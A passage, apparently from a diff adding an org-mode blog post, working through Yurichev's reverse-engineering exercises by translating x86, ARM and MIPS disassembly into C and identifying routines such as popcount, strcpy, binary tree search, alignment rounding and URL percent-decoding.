representations of a few pairs: + +#+BEGIN_SRC python +bin(0x00000001) # --> '0b00000000000000000000000000000001' +bin(0x80000000) # --> '0b10000000000000000000000000000000' + +bin(0x00000003) # --> '0b00000000000000000000000000000011' +bin(0xc0000000) # --> '0b11000000000000000000000000000000' + +# ... + +bin(0x0000004d) # --> '0b00000000000000000000000001001101' +bin(0xb2000000) # --> '0b10110010000000000000000000000000' +#+END_SRC + +My answer to the question is that =f= reverses the bits of the word it is given. + +* Challenge #3 + +This time, we're given an array of 64 32-bit integers and a hint that "[t]he +algorithm is well-known, but I've changed [the] constant so it wouldn't be +googleable." + +#+BEGIN_SRC c :hl_lines 0 +int f(unsigned n) +{ + unsigned a, b; + + // mov edx, edi + // shr edx + // or edx, edi + // mov eax, edx + a = b = (n >> 1) | n; + + // shr eax, 2 + // or eax, edx + // mov edx, eax + a = b = (a >> 2) | b; + + // shr edx, 4 + // or edx, eax + // mov eax, edx + a = b = (b >> 4) | a; + + // shr eax, 8 + // or eax, edx + // mov edx, eax + a = b = (a >> 8) | b; + + // shr edx, 16 + // or edx, eax + b = (b >> 16) | a; + + // imul eax, edx, 79355661 ; 0x4badf0d + // shr eax, 26 + a = (b * 0x4badf0d) >> 26; + + // mov eax, DWORD PTR v[0+rax*4] + // ret + return v[a]; +} +#+END_SRC + +The first thing that stood out to me was the presence of =-1= in the array of +integers. Testing from =0= to =UINT_MAX=, the only =n= that returns =-1= is =0=. +Interesting. It's also worth noting that the array contains every integer from +0, 31, so this function is using /some rule/ to map the input space onto [0, 31]. + +If we inspect the values of =f= for test values from =0= to =UINT_MAX=: + +#+BEGIN_SRC :hl_lines 0 + f(1) = 31 + f(2) = 30 + f(3) = 30 + f(4) = 29 + f(5) = 29 + f(6) = 29 + f(7) = 29 + f(8) = 28 + f(9) = 28 +f(10) = 28 +f(11) = 28 +f(12) = 28 +f(13) = 28 +f(14) = 28 +f(15) = 28 +f(16) = 27 +f(17) = 27 +f(18) = 27 +f(19) = 27 +f(20) = 27 +f(21) = 27 +f(22) = 27 +f(23) = 27 +f(24) = 27 +f(25) = 27 +f(26) = 27 +f(27) = 27 +f(28) = 27 +f(29) = 27 +f(30) = 27 +f(31) = 27 +#+END_SRC + +There's a pattern of exponential growth here -- every result occurs twice as +frequently as the previous result. Mathematically, this is $31 - [log_2(n)]$ +where the brackets represent the Greatest Integer Function ($f(x)$ returning the +largest integer less than or equal to $x$). This can be verified by comparing +the result of =f= to the following function for some test values: + +#+BEGIN_SRC c :hl_lines 0 +int my_f(unsigned n) +{ + return 31 - ((int) (log(n) / log(2))); +} +#+END_SRC + +* Challenge #4 + +This time around we're given an additional question to answer: "Some versions +have the =0x1010101= constant, some do not. Why?" I decided that I'd reverse the +x86 disassembly first, and then compare it to the other architectures. + +#+BEGIN_SRC c :hl_lines 0 +unsigned f(unsigned a) +{ + // mov edx,edi + // shr edx,1 + // and edx,0x55555555 + // sub edi,edx + a -= ((a >> 1) & 0x55555555); + + // mov eax,edi + // shr edi,0x2 + // and eax,0x33333333 + // and edi,0x33333333 + // add edi,eax + a = (a & 0x33333333) + ((a >> 2) & 0x33333333); + + // mov eax,edi + // shr eax,0x4 + // add eax,edi + // and eax,0xf0f0f0f + // imul eax,eax,0x1010101 + // shr eax,0x18 + // ret + return (((a + (a >> 4)) & 0xf0f0f0f) * 0x1010101) >> 0x18 +} +#+END_SRC + +The past few challenges have shown us that a good way of reversing these +bit-twiddling functions is to test a few input values and look at the binary +representations of the input and output values. + +#+BEGIN_SRC + In: 00000000 +Out: 0 + + In: 00000001 +Out: 1 + + In: 00000010 +Out: 1 + + In: 00000011 +Out: 2 + +... + + In: 00001100 +Out: 2 + + In: 00001101 +Out: 3 + + In: 00001110 +Out: 3 + + In: 00001111 +Out: 4 +#+END_SRC + +It doesn't take much effort to see that the function is counting the number of +bits set in the input. This was particularly interesting to me as I was asked to +derive this algorithm for a past job interview (though I wasn't able to in the +time given). + +This falls apart for numbers larger than =0xff=, however. It returns the number of +bits plus some constant that changes depending on which bits in the higher bytes +are set. I'll assume that =f= is only meant to be called with 8-bit integers. + +With that, we can move onto the second question. The disassemblies for x86, +ARM64, and Thumb have the =0x1010101= constant, while the disassemblies for ARM +and MIPS do not. + +Returning to the strategy of inspecting binary representations: + +#+BEGIN_SRC +00000000 00000000 00000000 00000000 +00000000 00000000 00000000 00000000 + +00000000 00000000 00000000 00000001 +00000001 00000001 00000001 00000001 + +00000000 00000000 00000000 00000010 +00000010 00000010 00000010 00000010 + +... + +00000000 00000000 00000000 00010000 +00010000 00010000 00010000 00010000 + +00000000 00000000 00000000 00010001 +00010001 00010001 00010001 00010001 + +00000000 00000000 00000000 00010010 +00010010 00010010 00010010 00010010 + +... + +00000000 00000000 00000000 11111101 +11111101 11111101 11111101 11111101 + +00000000 00000000 00000000 11111110 +11111110 11111110 11111110 11111110 + +00000000 00000000 00000000 11111111 +11111111 11111111 11111111 11111111 +#+END_SRC + +It would appear that multiplying a 32-bit integer by =0x1010101= propagates the +low byte to the three bytes above it. This makes sense when you notice that the +multiplication is paired with a =shr= of =0x18= -- moving the highest byte into the +lowest byte. + +Though, this doesn't really answer the question. What difference is there +between the architectures that use the =0x1010101= and the architectures that +don't? ARM and MIPS still do a shift by =0x18=, so what's going on? + +Looking at the ARM example, the instructions around the shift are: + +#+BEGIN_SRC asm :hl_lines 0 +ADD r0,r0,r0,LSL #16 +ADD r0,r0,r0,LSL #8 +LSR r0,r0,#24 +#+END_SRC + +For MIPS, it looks like: + +#+BEGIN_SRC asm :hl_lines 0 +sll $3,$2,8 +addu $2,$3,$2 +sll $3,$2,16 +addu $2,$2,$3 +j $31 +srl $2,$2,24 +#+END_SRC + +Both of these (humor me, I know the orders are different) are equivalent to: + +#+BEGIN_SRC c :hl_lines 0 +a = (a << 8) + a; +a = (a << 16) + a; +a >> 24; +#+END_SRC + +And, with some test values, we can see that this is equivalent to multiplication +by =0x1010101= and shifting by 24. + +#+BEGIN_SRC c :hl_lines 0 +unsigned a(unsigned n) +{ + n = (n << 8) + n; + n = (n << 16) + n; + return n >> 24; +} + +unsigned b(unsigned n) +{ + return (n * 0x1010101) >> 24; +} + +void main(void) +{ + for (unsigned i = 0; i < UINT_MAX; i++) { + if (a(i) != b(i)) { + printf("%u\n", i); + } + } +} +#+END_SRC + +I suspect the reason it doesn't show up in the ARM or MIPS disassemblies is due +to the fixed-width instruction encoding. The compiler likely decided it would be +less efficient to work with the =0x1010101= constant than to break it up into a +pair of shifts and additions. + +* Challenge #5 + +This is the first challenge we're given that has loops and conditionals, as +indicated by the telltale labels starting with ".L". Another initial observation +is that the first instruction in =f= operates on =%rsi=, and the third operates on +=%rcx=, so it's very likely that this function has four parameters. + +Translation to C is more involved than it was with the previous challenges, but +it is valuable as it makes the purpose of =f= very clear. In lieu of an analysis +of inputs and outputs, I'll provide a few notes on the process of translation. +First, =cmp= gave me a bit of trouble as I've been out of practice for some time +and the difference between AT&T and Intel syntax threw me for a loop. +Fortunately, the [[https://en.wikibooks.org/wiki/X86_Assembly/Control_Flow#Comparison_Instructions][wikibooks]] for x86 assembly covers this in detail. In AT&T +syntax, the order is =cmp subtrahend, minuend=, while in Intel syntax, the order +is =cmp minuend, subtrahend=. The subtrahend is subtracted from the minuend, so, +in Intel syntax, =cmp rcx, rsi; ja .L10= will jump if =%rcx= is greater than =%rsi=. + +Looking further into the function, there is some dereferencing with =BYTE PTR=, +which tipped me off that this was probably a function operating on a string. + +There's a curious =push rbx=, followed by a =pop rbx= before the =ret=. I ignored this +initially, taking it to be register preservation. It was. An intuition of what's +worth ignoring is valuable in reverse engineering. + +Upon reaching =.L16=, there are a lot of registers in use. It helped to look at +each register in isolation and see how they were used. For example, =%r10= is used +in the following instructions: =xor r10d, r10d=, =add r10, 1=, =lea rax, [rdi+r10]=, +and =cmp r10, r11=. This is very typical of a for-loop counter. =%r9= on the other +hand only shows up in two instructions: =mov r9d, 1=, and =cmovne r8d, r9d=. =%r9= is +just used as a source of 1 for =cmovne=, since there are no encodings for =cmovne= +that have an immediate source. + +=cmovne= was unfamiliar to me, so I did look it up in my favorite [[https://c9x.me/x86/html/file_module_x86_id_34.html][x86 reference]]. +It's a conditional move. =movz= was similarly unfamiliar. It simply loads =%bl= with +the source byte and zeroes out the higher portions of the register. + +#+BEGIN_SRC c :hl_lines 0 +char *f(char *a, unsigned b, char *c, unsigned d) +{ + // cmp rcx, rsi + // ja .L10 + if (d >= b) { + // .L10: + // xor eax, eax + // ret + return NULL; + } + + + // sub rsi, rcx + // add rsi, 1 + // mov r11, rsi + b = b - d + 1; + + // je .L10 + if (b == 0) { + // .L10: + // xor eax, eax + // ret + return NULL; + } + + // test rcx, rcx + // jne .L16 + // mov rax, rdi + // ret + if (d == 0) { + return a; + } + + // .L16: + // push rbx + // xor r10d, r10d + // mov r9d, 1 + // ... + // cmp r10, r11 + // jne .L4 + for (int i = 0; i != b; i++) { + // xor r8d, r8d + unsigned ret = 0; + + // .L4: + // lea rax, [rdi+r10] + // xor esi, esi + // ... + // add rsi, 1 + // cmp rsi, rcx + // jne .L8 + for (int j = 0; j != d; j++) { + // movzx ebx, BYTE PTR [rdx+rsi] + // cmp BYTE PTR [rax+rsi], bl + // cmovne r8d, r9d + if (a[i] != c[j]) { + ret = 1; + } + } + + // test r8d, r8d + // je .L12 + if (!ret) { + // .L12: + // pop rbx + // ret + return a + i; + } + } + + // xor eax, eax + // pop rbx + // ret + return NULL; +} +#+END_SRC + +The variable names I chose are pretty opaque, but if you stare at this long +enough, it should be pretty clear that =f= returns the offset of =c= in =a=. =b= and =d= +are just the lengths of =a= and =c= respectively. + +* Challenge #6 + +An additional hint given for this exercise is that, "[t]his is one of the +simplest exercises I made, but still this code can be served as useful library +function and is certainly used in many modern real-world applications." I'll +leave the relative addresses in my annotations of the disassembly, as it appears +to be PIC. + +For the sake of showing the mapping between assembly instructions and C code, +I'll first give a translation that uses =goto=, followed by a cleaned up version. + +#+BEGIN_SRC c +// 0: push rbp +// 1: mov rbp,rsp +// 4: mov QWORD PTR [rbp-0x8],rdi +// 8: mov QWORD PTR [rbp-0x10],rsi +int f(char *a, char *b) +{ +_start: + // c: mov rax,QWORD PTR [rbp-0x8] + // 10: movzx eax,BYTE PTR [rax] + // 13: movsx dx,al + // 17: mov rax,QWORD PTR [rbp-0x10] + // 1b: mov WORD PTR [rax],dx + *b = *a; + + // 1e: mov rax,QWORD PTR [rbp-0x10] + // 22: movzx eax,WORD PTR [rax] + // 25: test ax,ax + // 28: jne 2c + // 2a: jmp 38 + if (*a & 0xffff != 0) { + // 2c: add QWORD PTR [rbp-0x8],0x1 + // 31: add QWORD PTR [rbp-0x10],0x2 + // 36: jmp c + a++; + b++; + goto _start; + } + + // 38: pop rbp + // 39: ret +} +#+END_SRC + +#+BEGIN_SRC c +int f(char *a, char *b) +{ + while (*a != '\0') { + *b++ = *a++; + } +} +#+END_SRC + +Cool. Yurichev wasn't lying, this is a damn simple exercise, but it is something +that's used in nearly every C program. It's =strcpy=! + +* Challenge #7 + +This exercise gives the same hint as last time, and similarly uses address +offsets instead of symbols. + +Control flow isn't as initially obvious as some of the past exercises, but the +first instruction is a pretty good tell that this function takes a =char *= as a +parameter, and the =test dl,dl= was a good tell that the control flow depends on +the individual characters in that parameter. The =0x41= in that ==lea +esi,[rdx-0x41]= instruction stood out to me, as =0x41= is 'A' in ASCII, and the +=0x20= in the =add edx,0x20= was also a big clue, as ='a' - 'A'= is =0x20=. + +#+BEGIN_SRC c +void f(char *a) +{ + char *cur; + + // 0: movzx edx,BYTE PTR [rdi] + // 3: mov rax,rdi + // 6: mov rcx,rdi + // 9: test dl,dl + // b: je 29 + // 29: repz ret + if (*a == '\0') + return; + + // 6: mov rcx,rdi + cur = a; + + // 25: test dl,dl + // 27: jne 10 + while (*cur != '\0') { + // 10: lea esi,[rdx-0x41] + // 13: cmp sil,0x19 + // 17: ja 1e + // 19: add edx,0x20 + // 1c: mov BYTE PTR [rcx],dl + if (*cur - 0x41 <= 0x19) + *cur += 0x20; + + // 1e: add rcx,0x1 + // 22: movzx edx,BYTE PTR [rcx] + cur++; + } + + // 29: repz ret +} +#+END_SRC + +Just from the tells outlined in the previous paragraph, I don't even need to run +=f= to know that it converts =a= to lowercase, albeit only capable of transforming +capital ASCII characters (producing garbage for, say, a space character). + +* Challenge #8 + +The hint we're given this time is, "[t]his is one of the busiest algorithms +under the hood, though, usually hidden from programmers. It implements one of +the most popular algorithms in computer science. It features recursion and a +callback function." + +In preparation for an exercise that's would likely be more difficult than the +past few, I did a couple quick perusals to get a basic idea of the control flow, +the parameters, and the return values. The =mov rbp,rdx= early on indicates that +there are at least three parameters. + +There's a =push rbp= instruction, but [[https://en.wikipedia.org/wiki/Function_prologue][explicit creation of a stack frame]]. There +are also =push r12= and =push rbx= instructions. These all occur at the beginning of +the function, so we see some register preservation and an indication that these +are the registers that are going to be used in the code. + +I find that a lot of reverse engineering involves getting good footing, so +this is the information you want when starting out. + +What I normally try to find out next is whether the parameters and return type +are integers or pointers: =mov rsi,QWORD PTR [rbx]=, after =%rsi= was moved into +=%rbx= is a good tell that the second parameter is a pointer, likely to an array +of pointer as it's dereferenced as =QWORD PTR=, and the =call r12= tells me that the +first parameter is the callback that was mentioned in the hint. The =js 40= after +testing the callback's return value tells me that its return value is signed -- +probably an int, not a pointer -- and the pair of =mov rsi,QWORD PTR [rbx]= and +=mov rdi,rbp= before the call indicate that it takes two parameters. + +#+BEGIN_SRC c +void *f(int (*a)(void *, int), void **b, int c) +{ + int ret; + // 0: push r12 + // 2: test rsi,rsi + // ... + // 10: je 32 + if (b == 0) { + // 32: pop rbx + // 33: pop rbp + // 34: xor eax,eax + // 36: pop r12 + // 38: ret + return NULL; + } + + // r12 <- a + // rbx <- b + // rbp <- c + + while (1) { + // (This code path is also duplicated at 49-54. The branch that + // contains the duplicated code has been omitted, as the same + // effect arises from this loop continuing to iterate. + // + // 18: mov rsi,QWORD PTR [rbx] + // 1b: mov rdi,rbp + // 1e: call r12 + ret = a(*b, c); + + // 21: test eax,eax + // 23: je 56 + if (ret == 0) { + // 56: mov rax,rbx + // 59: pop rbx + // 5a: pop rbp + // 5b: pop r12 + // 5d: ret + return b; + } + + // 25: js 40 + else if (ret < 0) { + // 40: mov rbx,QWORD PTR [rbx+0x10] + b = b[4]; + + // 44: test rbx,rbx + // 47: je 32 + if (b == NULL) { + // 32: pop rbx + // 33: pop rbp + // 34: xor eax,eax + // 36: pop r12 + // 38: ret + return NULL; + } + } + + else { + // 27: mov rbx,QWORD PTR [rbx+0x18] + b = b[6]; + + // 2b: test rbx,rbx + // 30: jne 18 + if (b == NULL) { + // 32: pop rbx + // 33: pop rbp + // 34: xor eax,eax + // 36: pop r12 + // 38: ret + return NULL; + } + } + } +} +#+END_SRC + +In deriving meaning from this, I have a bit of an advantage; I've just recently +implemented this exact algorithm for my university's computer systems principle +course. This is the search function for a binary search tree, which takes an +arbitrary comparison function, =a=,, and returns the first node for which =a= +returns 0. The function returns =NULL= if the item is not in the tree. =c= is some +sort of "data" parameter for the callback function, hence why it isn't used in +the algorithm. + +=b= is probably a pointer to a struct looking something like the following: + +#+BEGIN_SRC c +struct tree_node { + char data[0x10]; + struct tree_node *left; + struct tree_node *right; +} +#+END_SRC + +as =QWORD PTR [rbx+0x10]= is followed when =a= returns something less than 0 +(represented in the struct as =left=), and =QWORD PTR [rbx+0x18]= is followed when =a= +returns something greater than 0 - (represented in the struct as =right=). + +This exercise is a little unusual. The hint mentions recursion, but this +algorithm is entirely iterative. Perhaps it was implemented recursively in C, +and the compiler performed some sort of tail-call optimization? I honestly have +no idea. + +* Challenge #9 + +The hint we're given this time is, "[n]ow that's easy." I certainly hope it is. + +This is the first challenge we're given that uses libc. It's also the first +challenge in which we see the compiler using [[https://en.wikipedia.org/wiki/Switch_statement#Compilation][binary search]] to optimize a +conditional with more than one branch. I tend to write these out as =switch= +statements whenever I see them, but it's perfectly reasonable for a compiler to +optimize an =if= in the same way. + +#+BEGIN_SRC c +#include <stdio.h> +#include <stdlib.h> + +int f(char a) +{ + // sub rsp, 8 + // movzx eax, BYTE PTR [rdi] + switch (a) { + // cmp al, 89 + // je .L3 + case 'Y': + // cmp al, 121 + // jne .L2 + case 'y': + // .L3: + // mov eax, 1 + // add rsp, 8 + // ret + return 1; + + // jle .L21 + // ... + // .L21: + // cmp al, 78 + // je .L6 + case 'N': + // ... + // cmp al, 110 + // je .L6 + case 'n': + // .L6: + // xor eax, eax + // add rsp, 8 + // ret + return 0; + + default: + // .L2: + // mov edi, OFFSET FLAT:.LC0 + // call puts + // xor edi, edi + // call exit + puts("error!"); + exit(0); + } +} +#+END_SRC + +Yurichev wasn't lying, this was an easy challenge. In fact, if I were reverse +engineering a binary and came across something like this, I probably wouldn't +bother translating the assembly to equivalent C. It's a function that converts a +character to a boolean (in the sense of a prompt that asks the user for 'Y' or +'N' -- "Yes" or "No") and exits prematurely if the character wouldn't make sense +in that context. + +* Challenge #10 + +The hint time is "[t]his code snippet is short, but tricky. What does it do? +It's used heavily in low-level programming and is well-known to many low-level +programmers. There are several ways to calculate it, and this is the one of +them." + +The snippet really is short, clocking in at only four instructions, but I still +felt the need to break out [[https://godbolt.org/][Compiler Explorer]] for this one. The part about being +"used heavily in low-level programming" threw me off a bit, since I saw =neg= and +thought that perhaps that'd correspond to the =~= operator in C, which I've only +seen used in very low-level bit shifting code. This initial assumption would've +led me astray, however, and I'm glad I took the extra minute to verify. + +#+BEGIN_SRC c +int f(int a) +{ + return -a; +} +#+END_SRC + +#+BEGIN_SRC asm +f(int): + push rbp + mov rbp, rsp + mov DWORD PTR [rbp-4], edi + mov eax, DWORD PTR [rbp-4] + neg eax + pop rbp + ret +#+END_SRC + +#+BEGIN_SRC c +int f(int a) +{ + return ~a; +} +#+END_SRC + +#+BEGIN_SRC asm +f(int): + push rbp + mov rbp, rsp + mov DWORD PTR [rbp-4], edi + mov eax, DWORD PTR [rbp-4] + not eax + pop rbp + ret +#+END_SRC + +=not= corresponds to =~=, and =neg= corresponds to =-= We're dealing with =neg= here. + +The equivalent C code for the snippet is given. Because I had Compiler Explorer +open already, I decided to throw this in there for kicks and giggles. x86-64 gcc +8.3 with =-O2= spits out the exact same series of instructions as the challenge. I +love the predictability of C compilers. + +#+BEGIN_SRC c +int f(int a, int b) +{ + return (a + b - 1) & -b; +} +#+END_SRC + +This doesn't answer our question, though. What does this do? We can test a few +values of =a= and =b= with the following snippet, replacing =2<<0= with various +constants. + +#+BEGIN_SRC c +int main(void) +{ + int i, j; + j = 2 << 0; + for (i = 0; i < 256; i++) { + printf("%-8x %-8x %-8x\n", i, j, f(i, j)); + } +} +#+END_SRC + +#+BEGIN_SRC +0 2 0 +1 2 2 +2 2 2 +3 2 4 +4 2 4 +5 2 6 +6 2 6 +7 2 8 +8 2 8 +9 2 a +a 2 a +b 2 c +c 2 c +d 2 e +e 2 e +f 2 10 +... +0 8 0 +1 8 8 +2 8 8 +3 8 8 +4 8 8 +5 8 8 +6 8 8 +7 8 8 +8 8 8 +9 8 10 +a 8 10 +b 8 10 +c 8 10 +d 8 10 +e 8 10 +f 8 10 +10 8 10 +11 8 18 +12 8 18 +#+END_SRC + +It would seem that this is some sort of "least multiple of $b$ such that $b < a$ +given that $b$ is a power of two, but I feel as though I'm grasping at straws +here. + +As a Gentoo user, I have the Linux source tree checked out at =/usr/src/linux=, +and because the hint mentions low-level programming, I decided to create a +regular expression for the C I came up with and let =ag= have a go at it. + +=ag "\\(.*-[^>].*\\).*&.*\\-" /usr/src/linux= yielded quite a few results. Before +I ran the command, I wasn't expecting much, thinking that my regex was too +permissive, but the first result I saw looked remarkably like the C expression I +had come up with -- right at the beginning of =sysv_readdir= in =fs/sysv/dir.c=: + +#+BEGIN_SRC c +static int sysv_readdir(struct file *file, struct dir_context *ctx) +{ + unsigned long pos = ctx->pos; + struct inode *inode = file_inode(file); + struct super_block *sb = inode->i_sb; + unsigned long npages = dir_pages(inode); + unsigned offset; + unsigned long n; + + ctx->pos = pos = (pos + SYSV_DIRSIZE-1) & ~(SYSV_DIRSIZE-1); + if (pos >= inode->i_size) + return 0; +#+END_SRC + +Hm. Remember how I mentioned that I expected =neg= to correspond to a =~=? Well, +jumping back to Compiler Explorer: + +#+BEGIN_SRC c +int f(int a) +{ + return ~a; +} +#+END_SRC + +#+BEGIN_SRC asm +f(int): + mov eax, edi + not eax + ret +#+END_SRC + +#+BEGIN_SRC c +int f(int a) +{ + return ~(a - 1); +} +#+END_SRC + +#+BEGIN_SRC asm +f(int): + mov eax, edi + neg eax + ret +#+END_SRC + +Modifying our search slightly to =ag "\\(.*-[^>].*\\).*&.*\\~.*\\-.*1"= yields a +massive number of results, some of which are named macros. Here's one of them, +in =include/uapi/linux/if_packet.h=: + +#+BEGIN_SRC c +#define TPACKET_ALIGN(x) (((x)+TPACKET_ALIGNMENT-1)&~(TPACKET_ALIGNMENT-1)) +#+END_SRC + +Cool. That makes me feel much more confident in my answer. + +* Challenge #11 + +The hint for this exercise is: "[t]his is a somewhat large function (in contrast +to the other exercises in this blog), but heavily used nowadays in various +software. As it can be clearly seen, it uses standard C/C++ functions including +strlen() and sscanf(). Some other helper function is also used. I intentionally +gave it this name to conceal its real function. So what does the whole code +snippet do?" + +I'd like to apologize in advance for the sloppiness of the code that follows. +Also, I've renamed =helper= to =is_hex_digit=, as it makes the code for =f= clearer. + +#+BEGIN_SRC c +#include <string.h> +#include <stdio.h> + +int is_hex_digit(char a) +{ + // lea edx, [rdi-48] + // mov eax, 1 + // cmp edx, 9 + // jbe .L2 + if (a <= '9') { + // .L2: + // ret + return 1; + } + + // and edi, -33 + // xor eax, eax + // sub edi, 65 + // cmp edi, 5 + // setbe al + // .L2: + // ret + return (a & -33) <= 'F' ? 1 : 0; +} + +int f(char *a, char *b) +{ + int len; + int local_12; + char *cur; + char *end; + char *dst; + char *next; + + // push r15 + // xor eax, eax + // or rcx, -1 + // push r14 + // push r13 + // push r12 + // mov r12, rsi + // push rbp + // mov rbp, rsi + // push rbx + // mov rbx, rdi + // sub rsp, 24 + // repnz scasb + // not rcx + dst = b; + cur = a; + len = strlen(a); + + // lea r14, [rbx-1+rcx] + // .L6: + // cmp rbx, r14 + // ja .L24 + while (cur <= end) { + // movsx eax, BYTE PTR [rbx] + // ... + // mov DWORD PTR [rsp+12], eax + local_12 = (int) *cur; + + // lea r13, [rbx+1] + next = cur + 1; + + // mov r15, r13 + // cmp eax, 43 + // jne .L7 + if (*cur == '+') { + // mov DWORD PTR [rsp+12], 32 + local_12 = ' '; + // jmp .L8 + } else { + // .L7: + // cmp eax, 37 + // jne .L8 + // movsx edi, BYTE PTR [rbx+1] + // call helper + // test eax, eax + // jne .L9 + if (*cur == '%' && is_hex_digit(*(cur + 1))) { + // .L9: + // movsx edi, BYTE PTR [rbx+2] + // lea r13, [rbx+3] + next = cur + 3; + + // call helper + // test eax, eax + // je .L11 + if (!is_hex_digit(*(cur + 2))) { + // .L11: + // or eax, -1 + // jmp .L10 + // .L10: + // add rsp, 24 + // pop rbx + // pop rbp + // pop r12 + // pop r13 + // pop r14 + // pop r15 + // ret + return -1; + } + + // lea rdx, [rsp+12] + // xor eax, eax + // mov esi, OFFSET FLAT:.LC0 + // mov rdi, r15 + // call __isoc99_sscanf + // test eax, eax + // je .L11 + if (!sscanf(cur + 1, "%2X", &local_12)) { + // .L11: + // or eax, -1 + // jmp .L10 + // .L10: + // add rsp, 24 + // pop rbx + // pop rbp + // pop r12 + // pop r13 + // pop r14 + // pop r15 + // ret + return -1; + } + } + + } + + // .L8: + // test r12, r12 + // je .L12 + if (b != NULL) { + // mov eax, DWORD PTR [rsp+12] + // mov BYTE PTR [rbp+0], al + *dst = local_12; + } + + // .L12: + // inc rbp + // mov rbx, r13 + // jmp .L6 + dst++; + cur = next; + } + + // .L24: + // mov eax, ebp + // sub eax, r12d + // .L10: + // add rsp, 24 + // pop rbx + // pop rbp + // pop r12 + // pop r13 + // pop r14 + // pop r15 + // ret + return dst - b; +} +#+END_SRC + +This could very well be cleaned up. In fact, I'm not even sure that my +translation is completely correct, but I got to the point where I felt it was +"good enough" and I could explain that =f= is a function for decoding a +[[https://en.wikipedia.org/wiki/Percent-encoding][percent-encoded]] string, where =a= is the encoded string and =b= is a destination to +decode to. If not for the telltale ='+'= corresponding to a =' '= and use of a ='%'= +character, I probably would have spent more time cleaning up my translation and +making sense of it. But I've seen code like this many times in my life, it +really is "heavily used nowadays in various software." + +I began this challenge by reversing =helper=, which I think was a good move as it +gave me some footing. I didn't even notice '%' or '+' in =f= at first, but the +realization that =helper= worked with hexadecimal digits got me started on ideas +for what =f= might do. + +On the topic of =helper=, the reason I was able to pick out that it's checking for +hexadecimal digits was realizing that $a - 48 \leq 9$ is equivalent to $a \leq +49 + 9$. The comparison is otherwise pretty unclear. And I suspect that the =-33= +is related to how ASCII is encoded. + +The control flow for =f= is pretty intimidating with its 8 labels. When it came +time to look at =f=, I drew out a rudimentary control flow graph on paper -- +scribbling down the label names and drawing arrows between the different labels. +I found this to be very useful in identifying which jumps are loops (cycles in +the graph), which are conditionals (branches), and which labels are related +(linear relationships). + +#+BEGIN_EXPORT html +<script type="text/x-mathjax-config"> +MathJax.Hub.Config({ + displayAlign: "center", + displayIndent: "0em", + + "HTML-CSS": { scale: 100, + linebreaks: { automatic: "false" }, + webFont: "TeX" + }, + SVG: {scale: 100, + linebreaks: { automatic: "false" }, + font: "TeX"}, + NativeMML: {scale: 100}, + TeX: { equationNumbers: {autoNumber: "AMS"}, + MultLineWidth: "85%", + TagSide: "right", + TagIndent: ".8em" + } +}); +</script> +<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.0/MathJax.js?config=TeX-AMS_HTML"></script> +#+END_EXPORT |
